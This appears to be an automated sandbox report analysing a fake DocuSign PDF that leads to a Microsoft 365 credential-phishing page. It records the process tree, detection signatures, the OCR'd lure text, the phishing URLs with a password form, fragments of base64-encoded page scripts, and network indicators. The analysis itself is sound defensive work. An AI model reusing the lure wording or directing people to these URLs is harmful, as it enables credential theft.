Edit tour

Windows Analysis Report
DocuSign_Payapp#5_Pay_Requests.pdf

Overview

General Information

Sample name:	DocuSign_Payapp#5_Pay_Requests.pdf
Analysis ID:	1432348
MD5:	109a4241b4f0cbe21b8a0fe0a3611a42
SHA1:	cc65a971e44b131e31027a6320a002b04840e1f5
SHA256:	252bea4419f587bd99427d7080eeaccfb60e61cbf0d6b1024b45524746581c39
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found potential malicious PDF (bad image similarity)

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish54

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Suspicious PDF detected (based on various text indicators)

Found iframes

HTML body contains low number of good links

HTML page contains hidden URLs or javascript code

HTML page contains obfuscate script src

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Unable to load, office file is protected or invalid

Classification

Process Tree

System is w10x64_ra

Acrobat.exe (PID: 6972 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\DocuSign_Payapp#5_Pay_Requests.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6192 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 544 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1624 --field-trial-handle=1548,i,17368980991378574226,11935322208934243998,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7844 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://email.wantyourfeedback.com/ls/click?upn=u001.KEFiNUywklssADlx7ClhNgjdvMuvho1aW1VM0ypUexGejfcF5XZwY-2B6xtEf4K-2F0OUqW9J0ZCgtiHnuKPgwO57BN4nbMytPQKOXIsVPbDdaBFDQtTyzoa5R25WwanU8fj5yZvqu-2B0aEG-2FQ4kSONuVxLFMM-2FqYS1MSJTaXLSNFuW4lt9FGNOi682M0ACrKV4PH6f0bRGoXVwDSky-2BmaGT29AW5EV3RuTchu-2Boru3Y4Wm16cjugy6y-2F2BOZGZgPXLOR-2FFuMVOmBKDWyrgq2GUQxylBbCGXaTxKLNXuzOh1ksEsgdWOGQpbxMyYTcDgeZTrmeDmO727fKFS9y56TUe-2B-2BoBxWffpolwRAl10klJE3e621FXqSu7J-2BoO4HtcqciqN2yEmVQDTZeOiI4bgA5aknYFJoRzj5hZU63gJGvvMRh8Tqehj6cDyF9iHzG2g-2ByPvGjv9-2BY2hfcC7pMyfhaUZcB007mefDydRUmf5iRpMEgHR9Sg2XT7F31nGyAVtnPUHLCd-2F0y5N0zs-2B-2B-2FZf3TppEDBz4F3-2F6x2TfixqzzHPJHmGaDqIEsVqDag0p1CiLubdh-2BQ9ZwrdhYiMWvARGXRC5xDGIds3LiaJ35XcsroyLybhVsqMnQF-2FGK3qBYg4qiYPmbojMT2hi6OKOruTks5dTxn7bWIIh9iyVhgVqKl911azwSXtdb0Tm9w-2Bm4xTESGeIWacX5XwsvgSZkTgnF2q1XheonEnppza3CcFNYhOKVzSKP-2BlzMVWdhorzfsmpCaugAN1ynPRWwMr3nCm27Kqi2LjVKPmnvGtSA-2BdPJFkoDN2x0HWjiJX4bj-2B5Qie7gT7SHJ30pvX8eXFRnjOdpRN2wQ-3D-3DLEZO_-2B9RHaNlJTuT8Wl45M2xpmvRCZtWd0m9fTP74dNraSGfMgLd3R9QIuzEYL9XI7ldyhHZWVscd7CKMBwn5KQO96mWzbN7-2F2q4GodMF-2Bp-2F1fPX3Lf0iglsshTS0TOMR7hthNJ2CQy9yjw1G5cYyoERctW7e1GyPFYDp6vYSDyV5A4-2BJeBVPfbAvVUxlDOpG6mXhHdLD4qO-2FeBdvvviJNlAFYkkSI7OxVaZQWre8K8FmsEFfFn3tBRDg2y1QkCQbkio5uQVBqj7YZNB-2BirBQxaWLq7mOy73heMnBdF8oJlaD0rwTWaaKAWVo4aiElmNs-2F03diU6TJ2RAZcvQxWsKaj6LQDKVxlH8MellZqpFF9oT00ELhes2kznJXgLyrqkuGkALM5d3zJow1npVj8EdzY-2B-2BnchbUD2q62tvI8AE-2B7kpMhX-2Br64oZOfhYphysBoCXInqXvm9-2F0Vvha-2FctJroCDCPBx2zfhffD0NbMi-2BZ1k3FbKz2fLKoH4Nx7qkPYmAD08JG MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 8028 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1760,i,4409796165917685690,4155670508853813645,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Phishing site detected (based on favicon image match)

Source: https://pivitai.net	Matcher: Template: microsoft matched with high similarity
Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true	Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish54

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&sc	Matcher: Template: microsoft matched
Source: https://bdfdbdf.pivitai.net/owa/prefetch.aspx	Matcher: Template: microsoft matched
Source: https://bdfdbdf.pivitai.net/owa/prefetch.aspx	Matcher: Template: microsoft matched
Source: https://bdfdbdf.pivitai.net/owa/prefetch.aspx	Matcher: Template: microsoft matched

Suspicious PDF detected (based on various text indicators)

Source: Adobe Acrobat PDF

OCR Text: DocuSign Account AP sent a new document to review and sign. REVIEW DOCUMENT Please DocuSign & PAYMENT INSTRUCTION 04-22-24 (Updated). Hi Signee, Please review and approve the enclosed revised & PAYMENT INSTRUCTION 04-22-24 (Updated) documents. Click on the button above to review and electronically sign the document. No hard copy is required when DocuSign is utilized. by Microsoft Do Not Share This Email This email contains a secure link to DocuSign. Please do not share this email, link, or access Vith others. About DocuSign Sign documents electronically in just minutes. It's safe, secure, and legally binding. Whether you're in an offce, at home, on-the-go or even across the globe DocuSign provides a professional trusted solution for Digital Transaction Management. Que<ions about the Document? If you need to modify the document or have questions about the details in the document, please reach out to the sender by emailing them directly. Stop receiving this email Report this email or read more about Declining to sign and Managing notifications. If you are having trouble signing the document, please visit the Help nith Signing page on our Support Center. [hwnload the DocuSign App If you nould rather not receive email from this ender you may mntact the ender with your requed.

Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true	HTTP Parser: Iframe src: https://bdfdbdf.pivitai.net/owa/prefetch.aspx
Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true	HTTP Parser: Iframe src: https://bdfdbdf.pivitai.net/owa/prefetch.aspx

HTTP Parser: Number of links: 0

HTTP Parser: Base64 decoded: function c(){if(!document.querySelector(".b") || !document.querySelector(".g")){document.head.appendChild(Object.assign(document.createElement("div"),{classList:["b"]}));document.documentElement.style.filter="hue-rotate(4deg)";document.head.appendChild(Ob...

Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_tok	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_tok	HTTP Parser: Script src: data:text/javascript;base64,ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gZShlKXtyZXR1cm4gbmV3IFByb21pc2UoKHQ9Pntjb25zdCBuPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoZSk7aWYobilyZXR1cm4gdChuKTtjb25zdCBvPW5ldyBNdXRhdGlvbk
Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_tok	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_tok	HTTP Parser: Script src: data:text/javascript;base64,ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gZShlKXtyZXR1cm4gbmV3IFByb21pc2UoKHQ9Pntjb25zdCBuPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoZSk7aWYobilyZXR1cm4gdChuKTtjb25zdCBvPW5ldyBNdXRhdGlvbk
Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_tok	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_tok	HTTP Parser: Script src: data:text/javascript;base64,ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gZShlKXtyZXR1cm4gbmV3IFByb21pc2UoKHQ9Pntjb25zdCBuPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoZSk7aWYobilyZXR1cm4gdChuKTtjb25zdCBvPW5ldyBNdXRhdGlvbk
Source: https://bdfdbdf.pivitai.net/owa/prefetch.aspx	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://bdfdbdf.pivitai.net/owa/prefetch.aspx	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://bdfdbdf.pivitai.net/owa/prefetch.aspx	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX

HTTP Parser: <input type="password" .../> found

Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH	HTTP Parser: No favicon
Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true	HTTP Parser: No favicon
Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true	HTTP Parser: No favicon
Source: https://bdfdbdf.pivitai.net/owa/prefetch.aspx	HTTP Parser: No favicon
Source: https://bdfdbdf.pivitai.net/owa/prefetch.aspx	HTTP Parser: No favicon
Source: https://bdfdbdf.pivitai.net/owa/prefetch.aspx	HTTP Parser: No favicon

Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.17:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.17:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.7.32:443 -> 192.168.2.17:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.219.0.175:443 -> 192.168.2.17:49771 version: TLS 1.2

Source: global traffic

HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br

Source: Joe Sandbox View	IP Address: 152.199.4.44 152.199.4.44
Source: Joe Sandbox View	IP Address: 104.94.108.142 104.94.108.142
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 104.21.93.58 104.21.93.58

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.122.249
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.222.123
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.122.249
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.222.123
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.94.108.142
Source: unknown	TCP traffic detected without corresponding DNS query: 104.94.108.142
Source: unknown	TCP traffic detected without corresponding DNS query: 104.94.108.142
Source: unknown	TCP traffic detected without corresponding DNS query: 104.94.108.142
Source: unknown	TCP traffic detected without corresponding DNS query: 104.94.108.142
Source: unknown	TCP traffic detected without corresponding DNS query: 104.94.108.142
Source: unknown	TCP traffic detected without corresponding DNS query: 104.94.108.142
Source: unknown	TCP traffic detected without corresponding DNS query: 104.94.108.142
Source: unknown	TCP traffic detected without corresponding DNS query: 104.94.108.142
Source: unknown	TCP traffic detected without corresponding DNS query: 104.94.108.142
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112

